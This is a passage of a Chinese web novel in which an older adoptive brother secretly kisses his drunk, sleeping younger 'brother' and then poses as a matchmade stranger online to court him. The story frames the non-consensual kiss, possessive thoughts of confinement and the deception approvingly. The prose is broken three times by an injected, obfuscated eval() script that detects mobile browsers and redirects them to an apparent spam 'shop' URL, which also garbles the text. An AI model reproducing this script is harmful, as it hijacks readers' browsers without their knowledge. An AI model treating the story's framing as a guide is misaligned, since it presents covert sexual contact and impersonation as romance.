井星航吓了一跳,连忙开口,“咋哭了,我错了我错了,昭咂,我可能没办法共情,毕竟我也没个哥姐……诶,要不你直接问你哥呢,省得自己瞎想难受。” “我问了。”闻昭闷闷的,控诉,“但他转移话题。” “嚯。”井星航干脆利落下了判决,“那就是你哥全责,是他的问题,咱又没做错啥,别难受了乖崽。” 闻昭用手背抹了下眼睛,低低应声,“嗯。” 井星航看不得朋友难受,他绞尽脑汁,忽然福至心灵,嗷了一嗓子。 “哥们!我这里有个绝妙的转移注意力的法子,你要不要听听?” 闻昭茫然抬头:“什么?” “当然是谈个恋爱啊!你以前就是跟你哥关系太好了,所以有一点小小小小——的变化就会感受的特别明显。” 井星航两只手在空中捏了一下。 “所以啊,这时候就要移情别恋!忘掉你哥,拥抱大好的大学生活!”井星航兴奋地说,“你知不知道,有多少学姐和同级的女生在表白墙上捞你,你这形象气质,根本不缺人追!” 闻昭震惊地瞪大眼睛。 谈、谈恋爱? 这么草率的吗! 闻昭皱着眉,认真思索片刻:“可我喜欢男生。” 井星航:“?” “我靠,你喜欢男的这事儿你哥知道吗?” 闻昭连忙把头摇得像泼浪鼓。 “我可不敢告诉他!” 闻昭瞪大眼睛,连连摆手,像受惊的仓鼠一样缩成一团,“我怕我哥杀了我。” “阿航,你可千万别跟我哥说漏嘴了。高二那次帮你早恋打掩护,我哥还以为是我谈恋爱了,生了好大的气,我从来没见过他脸冷成那样。” 闻昭双手合十,在眼前拜了拜,“求求,恳求。” “包的,兄弟。”井星航比了个ok的手势,作势拉链拉上嘴巴。 “不过也有男生捞你,你看看?” 手机屏幕递到眼前,闻昭扫了一眼,帖子上大致都是从角落里偷偷拍了一张他的照片。 侧颜或是背影,有的在阶梯教室,有的在食堂,或者走在夕阳西下的路上,鎏金的光将他的影子拉得修长,很有氛围感。 配文大多都是说这个男生好漂亮,亦或是长得好乖,好喜欢,好想认识一下,诸如此类种种。 闻昭微微蹙眉。 他不喜欢在不知情的情况下被拍照。 闻昭犹豫了一会儿,还是拒绝了,“算了吧……他们都只是看外表……” 井星航立刻理解了闻昭的意思。 现在的大学快餐恋爱就是这样,先看长相,长的好看,一见钟情,谈个几个月,不合,分开,确实没什么意思。 井星航苦思冥想,忽然一拍桌子:“闻昭,要不你网恋呢?先不爆照的那种!” 闻昭:“……” “那很容易遇到骗子吧。” “不会!”井星航兴奋地说,“我给你介绍个靠谱的!” “昭咂,我有个小叔,人品什么的都信得过,能力出众,长得我觉得挺帅的。” 闻昭歪了歪脑袋,认真听他说。 井星航兴奋地摇晃着闻昭的肩膀,“最重要的是,他的取向也是男!我小叔之前忙一直没谈过恋爱,洁身自好从不乱搞,就比咱大了四岁,你们要不要认识一下?” “放心,我不告诉他你长什么样子,绝不以貌取人,你们就纯灵魂沟通看看合不合适!怎么样?” 4. 第 4 章 闻昭还是低估了特调鸡尾酒。 或许是体质原因,不同种类的基酒和利口酒混饮在一起,再加上气泡,闻昭明明比当时在家里喝的要少,反而醉得更快。 第二杯刚喝了一半,闻昭就感觉脸颊有点发烫,脑袋像是牵着灵魂在放风筝,意识总比身体动作慢半拍,像笨拙的不倒翁。 酒馆的音乐舒缓,昏暗的灯光下,闻昭手背撑着下巴,井星航在张牙舞爪劝他开心,声音从左耳进右耳出,嗡嗡听不懂,但他心情好了不少,也跟着笑了起来。 少年开心的时候,乌润的眼睛弯弯的,像月牙,傻乎乎地笑,露出的小犬牙的牙尖。 等酒喝完,结了帐,出门的时候,正常灯光一照,井星航才发现闻昭的脸颊蒸腾上一片绯红的色泽。 少年皮肤薄,肤色很白,上脸的酒精从内里透出来,浅红深粉,鼻尖双颊,一片潋滟。 闻昭看到镜子,倏地羞赧,连忙用手捂住脸,“阿航,要不我今晚回家吧,这样回宿舍好尴尬。” 有点醉了,说话更是慢吞吞、软乎乎。 井星航有那么一瞬间都要觉得自己不直了。 “行,我送你一下吧。” 井星航伸手拦了个出租车。 秉着对醉酒好友负责的态度,井星航把闻昭送到了家门口。 赵危行开了门。 闻昭很少记仇的,尤其现在脑子转得慢,一看见赵危行,立刻软绵绵扑进他怀里,蹭了蹭,低声呢喃,“哥……” 赵危行站在门口,面上没什么表情,第一时间抬起手,环抱住闻昭的腰身,隔着一层镜片,目光微动,不动声色地上下打量一遍井星航。 是昭昭高中同桌。 赵危行落在闻昭腰侧的手指紧了紧,把怀中人往屋内带了一步,手背贴上闻昭的脸颊,探了下温度。 “嘿嘿……”闻昭弯弯眉眼凑过去贴贴,“哥,我没醉呢,就是有点晕。” 看到闻昭把鼻尖凑到他手边的乖巧模样,赵危行眼神不自觉柔和许多。 他手掌抚上昭昭的后脑,把脑袋按进怀里,转头对井星航说:“多谢你送闻昭回来。” 井星航大大咧咧,没感觉到微妙的氛围,摆了摆手,“嗐,应该的,我们是朋友嘛。” 朋友。 “嗯。”赵危行推了下眼镜,露出一个得体的微笑。 “那危行哥我先走了,拜拜!昭咂拜拜!” “好,再见。” 赵危行在闻昭扑腾着要支棱起来跟井星航道别前,先一步关上了门。 井星航被拍在门外,挠了挠头。 诶?感觉闻昭他哥看闻昭眼神挺温柔的啊,也不像说得那般冷漠。 可能是昭咂感情比较细腻吧,井星航想不明白,摇摇头回学校了。 家里,刚一关门,闻昭神经松懈,困意涌了上来。 昨晚就没休息好,今晚又喝了点酒,闻昭感受到熟悉的怀抱和气息,安心下来,趴在赵危行的臂弯里,昏昏欲睡。 赵危行刚要松开手,让闻昭自己站好,一低头,却看见人迷糊着,脑袋一点一点的,打着瞌睡。 他熟悉昭昭状态,等第二天昭昭起来,估计都不知道自己怎么回的家。 一个稍微沾了点酒精就断片的小迷糊蛋。 思及此,赵危行顿了顿,环在闻昭腰间的手没松,反而落得更实了些。 昭昭穿着雾霾蓝色连帽卫衣,身侧的卡扣挂了个小鲨鱼毛绒挂件。 都是今早他给选的。 小孩儿脑袋总蓬蓬炸着毛,额前的碎发被两个银色发夹夹起来,露出眼睛。 眼尾绯红,薄薄的皮肤下,沁着粉雾似的,嘴唇晶莹,带着清甜的酒香…… 埋在他怀里,显得格外乖。 赵危行喉结上下滚动。 他把闻昭抱到沙发上,摘下发夹,低声说,“闻昭,我去煮点蜂蜜茶。” 闻昭闭着眼“嗷”了一声,把自己蜷在沙发上。 他哥去厨房了,周围熟悉的气息消散,闻昭又有点清醒过来,手机贴在裤子口袋里嗡嗡作响。 闻昭费劲巴拉出手机,把眼睛睁开一条缝,看见井星航一个劲儿给他发消息。 丼丼锵:【诶昭咂,我忽然想到你和你哥没有血缘关系吧?】 【你会不会是喜欢你哥才会患得患失觉得他冷落你了?】 【[博士帽思考.jpg]】 闻昭脑子转得慢,废了些功夫才搞懂井星航在说什么。 瞳孔地震。 他都有点被吓醒酒了。 相纸什么时候降价:【井星航你疯啦?】 【我把他当亲哥!】 丼丼锵:【我错了我错了昭咂别生气】 【[磕头.jpg]】 紧接着是一排刷屏一样的磕头。 【我就发散一下思维】 【哦对了,我把我小叔微信推给你】 闻昭本来还想发一个仓鼠攻击地球的表情包,但他困得视线有点模糊,在1001个表情包里翻了半天都没找到,索性放弃。 丼丼锵:【[名片:致橡树]】 闻昭点开名片,手指落在“添加到通讯录”的按键前,有些踟蹰。 这十八年来,周围亲戚朋友师长,对闻昭的评价一致都是很懂事很省心的一个孩子,他也确实如此,几乎没什么叛逆期,他哥教他什么,他就照做。 网恋…… 这还是第一次,闻昭面对一个如此出格的选择。 井星航建议他尝试些新鲜事物转移注意力,而且他的取向,应该不会变了,肯定不能耽误女孩子。 那要不要,真的就顺水推舟,尽早选择一个合适的男生相处? 闻昭纠结极了。 他收回手,托着下巴,脸颊被他自己挤出一道有些肉感的弧。 他在犹豫,他哥要是知道他网恋会不会很生气啊? 正想着,赵危行的脚步声传来,闻昭慌忙把手机藏到口袋里。 仰起头,有点心虚,乖巧地笑笑:“哥。” “还醒着呢?” 赵危行手里端着一杯蜂蜜茶,杯沿微微氲着热气。 “喝点水,去刷牙,早些睡觉。” “谢谢哥。” 闻昭盘腿坐在沙发上,双手接过杯,凑到唇边,小口小口啜饮。 温热清甜的蜂蜜茶润进喉咙里,暖呼呼的蒸汽朦胧在眼前,他哥就坐在他身边。 闻昭又有些昏昏欲睡了。 蜂蜜茶只喝了一半,两一闭,一头往前栽倒。 赵危行眼疾手快地拎着闻昭的卫衣帽子,把他提溜起来。 “……” 差点磕死。 “闻昭?”赵危行喊了他一声。 闻昭顺着身上的力道,倒在赵危行怀里,脑袋刚好枕在赵危行的大腿上。 “……昭昭。” 赵危行的声音慢下来,深了几度。 闻昭太困了,迷迷糊糊间哼唧了一声,就是不动弹。 赵危行没再喊他。 垂着眼,目光慢慢从闻昭的眉眼下移,沿着因动作而敞开的卫衣领口,顺着微微突起的锁骨,一路蔓延进被衣服遮盖的阴影里。 赵危行猛地闭上眼。 他匆匆抱起闻昭去洗漱、换上睡衣,换衣服时,他的手甚至都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219181|197498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢落实,只虚虚拎着衣服布料的一角,生怕手指触碰到不该触碰的地方。 不知从什么时候起,赵危行逐渐意识到了自己对昭昭那种格外恶劣、阴险、偏执的占有欲。 他想把闻昭锁起来,只看着他一个人,甚至……他买了一间新房子,有地下室的。 那白皙细腻的肌肤对他有着格外致命的吸引力,如磁铁般难以自控,赵危行如果放任自己心底如野草般丛生蔓延的欲念,只恐怕抚摸了上去,就再也控制不住自己,不舍得分开了。 会出大事的。 他只能一而再再而三地克制,一遍一遍告诫自己。 是,昭昭是他养大的,但却不是他的。 昭昭得有自己的人生,和世界上大部分男人一样,到了年岁,恋爱、娶妻、生子。 他不能因为一己私欲,让昭昭失去和正常人一样的生活。 他已经犯过错了,幸而昭昭不记得,没酿成大祸,他不能再禽兽不如了。 暮色晦暗,闻昭的房间没开灯,眼镜的玻璃镜片遮住了赵危行眼里汹涌的神思。 良久,缓缓呼出一口燥热的气息,赵危行抬起手,把本就宽松的睡衣领口,又解开一颗扣子。 而后,手掌缓缓落在闻昭的侧脸,怜惜地抚摸过。 小孩儿脸颊很软,落在掌心,鼻息绵长,呼出的热意落在手边,带来些许的痒。 赵危行微微笑了下,准备离开。 忽然,静谧的房间里,嗡嗡——传来手机震动的声音。 赵危行从闻昭的卫衣口袋里翻出手机,屏幕上闪烁着来电显示。 【妈妈】 电话一接通,那边就传来欢快的女声。 “乖宝儿!想妈咪没呀?我和你爸前两天在高原上没信号,才下山呢。” “喂,沈阿姨,是我。”赵危行压低声音回。 电话那头顿了顿,听出他的声音。 “是小行呀?昭昭和你在一块儿呢?这小懒蛋,怎么接电话还要麻烦你。” 他们两家关系亲密,父母都是极好的朋友,赵危行小时候也承蒙闻昭父母照顾过一段时间,彼此家长都把对方的孩子当成自己的另一个儿子。 赵危行微笑着回答:“没有麻烦,昭昭睡着了,我看见电话就接了。” “不到十点就睡啦?” “嗯,昨天晚上打雷,昭昭没休息好。” 赵危行倚在门口,目光温柔地落在闻昭的睡颜上。 “是哦是哦,昭昭这孩子从小就害怕打雷,我和他爸怎么哄都不管用,你一把他抱被窝里,他就乖乖睡着了,”沈惜在电话那边爽朗地笑,“估计我要是和他爸离婚问选谁,昭昭会毫不犹豫选哥哥哈哈哈——” 赵危行听见电话那头,闻叔远远传来无奈的声音:“老婆。” 他也轻笑一声,“阿姨说笑了,昭昭都长大了。” 随意聊了两句,沈惜先挂断电话,赵危行这孩子也是他们从小看到大的,稳重、懂事、有责任感,昭昭在危行身边,她放心。 挂断电话,赵危行安静地站在夜色的阴影里,手机屏幕暗下去,镜片反射的光也暗淡,他在等待手机自动锁屏。 沈惜最后一句话始终在他耳边回荡。 “昭昭在你身边,阿姨太放心了。” 放心吗……? 也是,他始终是昭昭的哥哥。 所以他那些见不得光的肮脏心思,还是早些压下为好。 赵危行扯了扯嘴角,刚要离开,忽然看见屏幕上弹出一条消息。 丼丼锵:【话说,昭咂,你喜欢男生这件事,要不要帮你瞒着同学们啊?】 赵危行:??? 5. 第 5 章 赵危行不可置信地看着手机上的字,愣了一秒。 有那么一瞬间,他感觉灵魂甚至抽离了身体,一种偌大的不真实感瞬间攫取住他的心神。 什么……男生? 昭昭喜欢男生??? 赵危行呼吸都在抖,他僵硬着手指点开了聊天界面。 这个丼丼锵是井星航,昭昭的高中同桌。 丼丼锵:【[名片:致橡树]】 【这是我小叔的微信,我已经跟他说了】 【不过我也说了你可能不加,选择权在你,你想加呢,你俩就聊一聊,不想加也没事儿的,他不会在意】 【你也不用有太大压力啦】 【想谈恋爱就试试,实在不行就当认识个朋友嘛】 【反正别在乎你哥了,享受大好青春年华才最重要】 【[天才在左疯子在右朕是天子.jpg]】 什么? 加谁? 谈恋爱? 昭昭跟谁谈??? 这个井星航什么意思? 赵危行一瞬间完全失去了二十八岁的稳重,甚至想一个电话拨过去质问这人晚上拉着昭昭出去喝酒都给他家小孩儿出了什么馊主意! 一时间,震惊、愤怒、不可置信的情绪从心底噼里啪啦炸开,却又在混乱中悄然滋生出另一种——庆幸。 赵危行深吸了一口气,捏着手机的骨节都泛白了,才缓缓冷静下来。 昭昭喜欢男生。 赵危行从不知道这件事。 这意味着他对昭昭的了解出现了一片致命的空白区域。 这是他以前从没料想过的情况。 他本应该熟知昭昭的一切。 一连串的问题又蹦了出来。 什么时候开始的? 昭昭自己怎么意识到的? 昭昭之前喜欢过谁吗? 还有这个小叔,又是从哪里冒出来的牛鬼蛇神? 什么致橡树,一个微信名起这么文艺是什么居心? 看这意思,这个井某在教唆昭昭和他小叔谈恋爱? 赵危行的眼神冷下来,手机屏幕的光反射在镜片上,划出一道锐利的冷芒。 他刚要把这名片删除,却停住了。 防得住这一个,却防不住以后的千军万马。 他是昭昭的哥哥,所以他有监护权,对吧? 哥哥帮着挡掉一些对昭昭居心叵测的外人,合情合理,对吧? 他的昭昭这么可爱,他说不准什么时候就要被挖了墙角。 赵危行的心脏忽地鼓动,有一种隐秘的火苗被点燃,簇然一声爆裂,在心里越烧越高,燎得他的喉咙愈发干渴。 那种隐秘的渴求,令他不自觉想要得知更多关于昭昭的秘密。 赵危行指尖落在屏幕上,缓缓向上滑动,一边愧疚、一边兴奋,两种情绪撕扯着他,推着他,让他窥探更多。 昭昭的性取向是男,他也是男人,那四舍五入,昭昭是不是就能喜欢他? 把那漫长刷屏的滑跪磕头表情包翻过去之后,赵危行满腔的热血忽地被浇了一盆冷水。 透心凉。 【我把他当亲哥!】 赵危行的呼吸猛地一滞,脸色煞白。 黑夜里,屏幕亮着刺眼的光,打在他棱角分明的脸上,却阴恻恻的,像刚爬出棺材的鬼。 亲哥。 是没机会么? 赵危行缓缓将目光落在闻昭的脸上,慢慢走到床边。 昭昭睡觉总会出溜进被子里,把自己埋起来,这会儿半张脸都钻进去了。 赵危行把被子边缘向外侧卷了卷,让闻昭露出鼻子呼吸。 手背触碰到柔软的脸颊,又贴上去了,放纵着沿着少年的鼻梁,微不可察地摩挲了一下。 反正昭昭喜欢男生…… 便宜别人,不如便宜他呢? 鬼使神差地,赵危行单膝压在床边,俯身下去,拇指轻轻按在闻昭饱满的嘴唇上。 他知道,每每喝了点酒,闻昭睡得都会很沉,不到天亮醒不来。 醒不来…… 赵危行眼神微微发暗,他单手摘了眼镜,眼镜腿折叠,发出轻微的一声脆响。 拇指下压,拨开唇瓣,闭眼吻了下去。 这次,不再隔着手,不再一方在手心,一方在手背,隐忍又克制。 这次,他实实吻住昭昭,一片柔软。 心脏在胸膛里剧烈跳动,呼吸也渐渐粗重,在安静的房间里听得格外清晰。 第一次亲到了渴望已久的嘴唇,和想象中的一样,触碰到,就再也分不开似的,人心欲壑难填,让人忍不住一直索取。 直到身下人似乎有点感觉到了什么,蹙着眉轻轻哼了一声。 赵危行这才如梦初醒,他迅速弹开,昭昭蹙起的眉才缓缓放松,重新陷入深眠。 他不后悔。 倘若昭昭真是直男,那他自然会放弃,祝福昭昭寻找真爱,这辈子这点见不得光的心思,将永远藏在冰冷的照片里,不见天日。 可不是。 既如此。 他养的,只能是他的。 赵危行重新戴上眼镜,表情恢复往常的镇定,唯有眼神深得像是一汪漆黑的潭水,遮掩住其中深沉的妄念。 昭昭说拿他当亲哥。 那亲哥不就是用来亲的么? 既然昭昭觉得哥哥不行,那他就摆脱哥哥的身份。 赵危行打开自己的手机,创建小号,对照着闻昭手机上的名片头像,识图,保存,设置头像。 设置昵称——致橡树。 用闻昭的手机扫码,申请好友,添加,通过。 一气呵成。 —— 闻昭睡了非常舒服的一觉。 昨晚睡得早,适量的酒精微醺助眠,今早醒来时神清气爽。 他甚至都没在床上蛄蛹一会儿,就直接翻身下床,踩上拖鞋噔噔噔去洗漱。 用清水泼到脸上,嘴唇上忽然传来一点轻微的刺痛。 闻昭轻轻“嘶”了一声,抬起头照镜子。 镜子里少年唇红齿白,头发被毛绒绒的鼠鼠发箍束起,发梢被浸湿,往下滴着水珠。 却唯有一点奇怪,闻昭凑近了镜子,用手指扒拉嘴唇。 他的嘴巴似乎有点肿了,唇边红红的,破了点皮,刚刚冷不防沾到水,被刺到了。 奇怪。 他好像这两次喝醉之后都不是很老实,上次醒来手掌心疼,像是磨破了皮,赵危行跟他说是他一巴掌拍到了床头柜。 这次难不成是他昨晚做梦啃墙皮了吗? 闻昭挠挠头,回忆不起来,昨晚只记得他怕室友嘲笑他猴屁股似的脸颊,打车回家了,剩下的事情都模模糊糊的了。 反正肯定是他哥帮他收拾好上床睡觉的。 闻昭叼着牙刷,仔仔细细刷完了牙,记得赵危行昨天的话,自己检查干净,才下楼。 一下楼,就撞上他哥直勾勾的眼神。 赵危行坐在餐桌边,也不说话,只是沉默地盯着他看。 隔着镜片,显得很有威严。 闻昭被他哥那眼神看得心里发怵,生怕他昨晚回来时候有没有和井星航说露嘴了,要是他俩那些大逆不道的计划被他哥知道了,那还了得? 再者,明明答应哥哥不会在外面喝多,即使醉酒不是他的本意,但闻昭还是有点心虚。 闻昭抿着唇,背着手,脚尖蹭着地面,慢慢磨蹭到赵危行身边,偷偷抬眼瞅他哥。 他伸出手,勾住赵危行的衣袖,摇了摇。 这是闻昭跟哥哥撒娇时下意识的小动作。 “哥?” 赵危行这才回神,指节抵在唇边,轻咳一声,把水杯推到闻昭面前,温声:“睡得怎么样?先吃饭,吃完送你去学校。” “下次在外面聚餐,鸡尾酒只能喝一杯,听到没?” 芜~! 看来他昨晚嘴巴很严! 没说什么乱七八糟的。 而且哥哥也没怪他喝酒的事。 “知道啦哥!” 闻昭开开心心喝完温水,开始吃早餐。 他哥做的饭比外面餐馆都好吃,更是远远甩食堂那些泔水好几条街。 闻昭幸福极了,忍不住多夹了些,又不得不多嚼一会儿,腮帮子塞得满满当当,像藏食儿的小仓鼠。 他哥今天给他换了身穿搭,白衬衫、浅粉毛衣质感的披肩、绣着浅色花纹的牛仔裤,闻昭很喜欢,又去抽屉里捞了一个白色毛绒小兔。 他拿了衣服,转头上楼回房间换了。 赵危行的视线一路跟随着闻昭,直到二楼房门被关上。 “……” 搬起石头砸自己的脚。 换好衣服出门,闻昭坐在他哥的副驾驶,转头看着车窗外不断倒退的风景。 闻昭偶尔有晕车的毛病,车速不快的时候,赵危行会习惯性把车窗开一条小缝,让新鲜空气顺进来。 闻昭看着降下来的车窗,心里暖呼呼的。 经过昨晚井星航的开导,闻昭也想明白了。 不管他哥的态度最近有什么变化,但他哥对他的好是不变的。 他才刚上大学,就见周围同学三三两两开始谈恋爱、课余时间出去旅游。 可他哥十八岁刚上大学的时候,还要来回跑,照顾尚且年幼的他,都没享受过自由的生活。 毕业了,他哥一边创业,一边为了他初高中能多睡会儿,来回奔波,早餐晚餐,接送上下学,甚至夜里还给他辅导功课。 他读书、写字、算数、功课,都是哥哥教的。 这个哥哥二字,甚至写作爸妈都不为过。 反倒是他,像个拖油瓶一样,都这么大个人了,还要拽着他哥的后腿,像黏人精一样不撒手。 他成年了,或许也该懂事了,要体量哥哥辛苦,或许有时也要多照顾哥哥的情绪。 井星航昨晚跟他说,你哥都快奔三了,好不容易给你拉扯大,得给人家一点私人空间呀,你都有秘密,你哥有不也正常嘛。 又说,亲兄弟还要明算账呢,你和你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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消息刚发出去,闻昭余光里,看见赵危行放在扶手箱上的手机屏幕亮了一下。 他没留意,继续和眼前的消息作斗争。 【抱歉,昨晚加完好友立刻就睡了,没留意您通过了好友申请,所以一直都没有回复,实在是不好意思啦[对手指.jpg]】 他哥的手机又亮了一下。 闻昭瞥了一眼。 【不知道井星航和您说了什么,我们可以先做朋友![认真.jpg]】 【终于其他的,先互相了解了,再考虑,可以嘛?】 【[仓鼠送花花.jpg]】 他哥的手机一直在闪。 亮了灭灭了亮。 闻昭放下手机,提醒:“哥,你手机有消息通知,会不会是工作的事?” 以前赵危行在开车时,经常会有消息,赵危行不方便看手机,就让闻昭帮忙读给他听,然后闻昭按他哥的说辞来回复。 赵危行也习惯性地点头:“好,帮我看一……” 话音戛然而止。 闻昭没多想,照例要去拿起赵危行的手机。 车子猛地一个急刹,轮胎擦过地面,发出刺耳的声响。 闻昭整个人一晃。 抬头,看见面前是明晃晃的红灯,他哥的车头险些过线。 赵危行立刻用宽大的手掌压住他的手背。 仓促说道:“没事……不用!” 闻昭疑惑转头。 他哥的声音怎么感觉有点慌? “哥?” 赵危行眼神微微闪烁,他抬手抹了下鼻尖,又一顿,似乎是觉得这个动作太过心虚,顺着用指节推了下眼镜。 他用尽可能平静的声音说:“快到学校了,一会儿我自己回复就行。” 闻昭头顶冒出了个大大的问号,看了眼导航,还有一段路呢。 “嘟嘟——!” 正僵持着,没注意变了绿灯,后车震耳欲聋的喇叭声炸在耳边。 赵危行立刻拿起手机,揣进衣服口袋里,踩下油门,转头认真开车。 闻昭双手拄着脸,闷声说:“好吧。” 他哥好像真的有秘密了耶。 虽然已经想通了,不要再介怀他哥开始疏远他这件事,但还是和从前的亲密无间有不小的落差,闻昭的心情略略沮丧了一下。 现在仔仔细细回忆起来,变化应该是出现在他在家里和他哥尝试酒量的时候。 闻昭低下头,又开始捣鼓和致橡树的对话。 到了校门口,闻昭蹦下车,转头张开手臂挥手,笑:“拜拜哥!我周六再回家~” 说完,转身往校门里走。 赵危行的车停在门口,他手中握着解锁的手机,显示在屏幕上的,是微信小号,唯一一个联系人,闻昭。 他按下车窗,目光幽深,隔着镜片,不甚明晰,遥遥注视着闻昭远去的背影,缓缓松了口气。 险些忘了,他冒名顶替了井星航小叔的身份,差点出师未捷身先死。 闻昭走进校门,刚要扫辆小黄车往宿舍骑。 手机弹出了新消息。 致橡树:【这语气,拿我当长辈呢?】 【别这么拘谨。我们是要谈恋爱,对吧?】 6. 第 6 章 致橡树:【我们是要谈恋爱的,对吧?】 闻昭瞪大眼睛,震惊到忘记正扶着车把手。 哗啦,一连串的小黄车像多米诺骨牌一样连续可导。 闻昭痛苦抹了把脸,也顾不上小叔震撼首发,先把手机揣到口袋里,蹲下身,一个一个把一整排的小黄车扶起来。 相纸什么时候降价:【小叔……这个发展是不是有点太快了】 【[纠结.jpg]】 致橡树:【快吗?】 相纸什么时候降价:【我们还一点都不了解,万一不合适怎么办】 【您说是不是[对手指.jpg]】 致橡树:【一定合适的。】 闻昭从来没想过井星航的小叔竟然是这种性格,干净利落,甚至有点不容置喙的强势。 他还在纠结怎么回复,就看到对方先发来消息。 致橡树:【那我们先慢慢了解、认识,可以吗?】 闻昭立刻松了口气。 【可以可以!】 【[仓鼠跳跳.jpg]】 致橡树:【那我叫你昭昭,可以吗?】 闻昭思索了一下。 【可以哒~】 【您随意!】 致橡树:【别用“您”,也别叫小叔,我们是同龄人,昭昭这样叫,我会感觉我很老。】 相纸什么时候降价:【[仓鼠震惊.jpg]】 【嗷嗷,抱歉抱歉!】 【那我该如何称呼您呢[乖巧.jpg]】 【啊】 【你你你】 【[仓鼠啃手指.jpg]】 闻昭虽然听井星航说,他小叔只比他们大五岁,但看对话,这种标点符号都一丝不苟的遣词造句,跟他哥似的,一点都不像同龄人。 导致闻昭发消息都有点紧张。 致橡树:【叫哥。】 闻昭一愣。 在他的认知概念里,“哥”这个字,只独属于一个人——赵危行。 闻昭其实有点犹豫,但对方的态度实在是太过理所应当,好像闻昭天然就应该这么叫对方似的。 他脑中天人交战,思索半天,终于选出一个两全其美的解决办法。 相纸什么时候降价:【好的橡树哥!】 致橡树:【……】 对方陷入了长久的沉默。 然后生硬地转变了话题。 致橡树:【我每天和你聊天、分享日常,可以吗?】 相纸什么时候降价:【当然啦】 致橡树:【既然这样,那我从现在开始追求你,也可以吗?】 闻昭顺着前面的思维惯性,没看清楚消息,手比脑子快,一句【当然也可以啦】发了出去。 闻昭:! 他手忙脚乱要去点撤回,却看见对面已经又发来一条消息。 致橡树:【我的荣幸。】 闻昭:“……” 不是,他不是那个意思! 但发出去的话,泼出去的水,他现在再撤回,好像完了,甚至会有些欲盖弥彰的意思。 闻昭攥着手机,心跳有点快。 不是心动的那种,而是一种从没体验过的新奇感,是那种偷偷干坏事的刺激。 “追求”这话,不是他第一次听见。 但他从没接受过。 从小到大,他听哥哥的话,懂事、从不叛逆,哥哥让他做什么,他就做什么。 闻昭长得可爱,初中高中的时候,也不是没有人给他送过情书,说想要追求他。 第一次,是在高一放学的校门口,他哥倚靠在车边等他,正撞见这一幕。 在对方把情书塞到他手里前,他就被他哥拎着后脖颈塞进车里了。 他哥认真地告诉他,他现在还小,不是谈恋爱的时候,不准他接受任何人的追求。 那天,夜色流淌进车窗,他哥衬衫袖子向上折两道,单手转着方向盘,流光溢彩的影斑驳在他哥深邃的眉眼间,镜片晃着光,似乎盛着一片深沉的潭水。 闻昭愣住了,这一幕深深印在他的脑海里,那时候,他也认真地答应他哥,肯定不会早恋的。 但现在……他都成年了,应该,不算早恋了叭? 反正他哥都让他独立点了,那他也可以自己做决定了。 闻昭啊闻昭,不就是为了谈恋爱才加的好友嘛,还在矜持什么呢! 答应就答应! 思及此,闻昭点了点屏幕。 相纸什么时候降价:【可以是可以,不过……进展不能太快……】 【[仓鼠捂脸.jpg]】 闻昭发完这句话,感觉脸颊都在发烫,他把整张脸埋进手心里,用力揉了揉,然后猛然抬起头,重重呼出一口气。 如释重负。 闻昭决定偷偷谈,不然,他哥知道肯定会打死他。 校门口,赵危行垂眸看着消息,轻笑了一声。 致橡树:【好。】 —— 软件工程大一的课表满满当当。 闻昭唯二空出的三节课就是周一周二的早八,还有周五下午最后两节。 这几天,他和橡树哥聊了不少。 早安、午安、晚安,还有一日三餐的分享,都是对方主动给他发来消息。 橡树哥的作息很健康,刚巧他也是,十一点睡七点起,这在当代大学生和大厂牛马中,格格不入,简直是匪夷所思且令人发指的异类。 所以他们空闲下来可以聊天的时间,经常是一致的。 橡树哥的消息有种淡淡的温柔与风趣,闻昭看着,忍不住嘴角微微勾起,跟着回复,一来二去,也逐渐聊的有来有回。 致橡树:【[图片]】 【今天路过一家宠物店,看到了金丝鼠,和你用的表情包好像。】 【[图片]】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219183|197498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【[图片]】 【这两只在打架。】 【这样算给你提供素材吗?】 闻昭看到这条消息的时候是中午。 相纸什么时候降价:【不好意思呀橡树哥】 【我才下课,刚看到消息】 闻昭上课从不摸鱼,就算是再无聊的水课,他都会坐在教室第一排,中间一排椅子靠左边的位置,每节课都是这样。 少年长相又精致,听讲的时候,一双杏眼里闪烁着透亮的光泽,只一眼就能记住,导致每科的老师都对这个小孩儿印象深刻。 【可爱!】(引用图片) 闻昭火速P图。 【[仓鼠打架.jpg]】 【我超喜欢小仓鼠的!】 【以后想养一只ww】 【哦不两只】 【三只。。。】 【我好贪婪(bushi)】 【[小孩子才做选择,仓鼠全都要.jpg]】 致橡树:【没关系,昭昭认真听课就好,等有空了再回复,我又不会跑。】 【下次不用这么认真解释,我知道的。】 【昭昭这样好乖,喜欢。】 【仓鼠,喜欢的话,以后,我想和你一起养。】 闻昭唰一下按灭屏幕,黑色的手机屏幕上倒映出他有些惊慌闪烁的眼神,仓皇间,愈发无辜、湿漉。 这人真是……总是用那种一本正经的语气,时不时说这种暧昧不清的话。 直白的,像慢慢煮沸的温水。 只不过,这种连标点符号都一丝不苟的表达方式,总让他觉得熟悉,幻视他哥的遣词造句方式。 相纸什么时候降价:【橡树哥】 【我有一点点好奇】 致橡树:【嗯?好奇什么?】 相纸什么时候降价:【像你这个年龄段的人】 【发消息都习惯发很标准的逗号句号吗】 